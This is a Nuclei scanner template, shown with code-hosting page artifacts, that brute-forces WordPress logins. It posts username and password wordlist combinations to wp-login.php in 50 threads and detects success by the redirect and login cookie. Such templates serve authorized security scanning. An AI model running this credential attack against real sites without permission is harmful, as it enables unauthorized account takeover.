nuclei-templates/fuzzing/wordpress-weak-credentials....

37 lines
813 B
YAML
Raw Normal View History

id: wordpress-weak-credentials
info:
name: WordPress Weak Credentials
author: evolutionsec
severity: critical
tags: wordpress,default-login,fuzz
requests:
- raw:
2021-08-23 11:52:29 +00:00
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Content-Type: application/x-www-form-urlencoded
Referer: {{BaseURL}}
2021-08-23 11:52:29 +00:00
log={{users}}&pwd={{passwords}}
payloads:
users: helpers/wordlists/wp-users.txt
passwords: helpers/wordlists/wp-passwords.txt
threads: 50
attack: clusterbomb
stop-at-first-match: true
matchers-condition: and
matchers:
- type: status
status:
- 302
- type: word
words:
- '/wp-admin'
- 'wordpress_logged_in'
condition: and
part: header